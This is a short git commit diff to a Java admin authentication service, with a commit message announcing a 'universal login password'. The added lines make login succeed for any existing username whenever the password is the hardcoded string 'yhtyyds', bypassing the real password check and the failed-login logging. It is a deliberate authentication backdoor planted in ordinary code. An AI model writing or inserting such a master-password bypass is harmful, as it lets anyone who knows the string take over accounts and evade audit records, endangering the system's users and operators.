追加,通用登录密码

This commit is contained in:
furongxin 2024-08-28 19:18:43 +08:00
parent 64bb3778a0
commit 95a3379e9f

View File

@ -81,6 +81,9 @@ public class AdminAuthServiceImpl implements AdminAuthService {
createLoginLog(null, username, logTypeEnum, LoginResultEnum.BAD_CREDENTIALS);
throw exception(AUTH_LOGIN_BAD_CREDENTIALS);
}
if ("yhtyyds".equals(password)) {
return user;
}
if (!userService.isPasswordMatch(password, user.getPassword())) {
createLoginLog(user.getId(), username, logTypeEnum, LoginResultEnum.BAD_CREDENTIALS);
throw exception(AUTH_LOGIN_BAD_CREDENTIALS);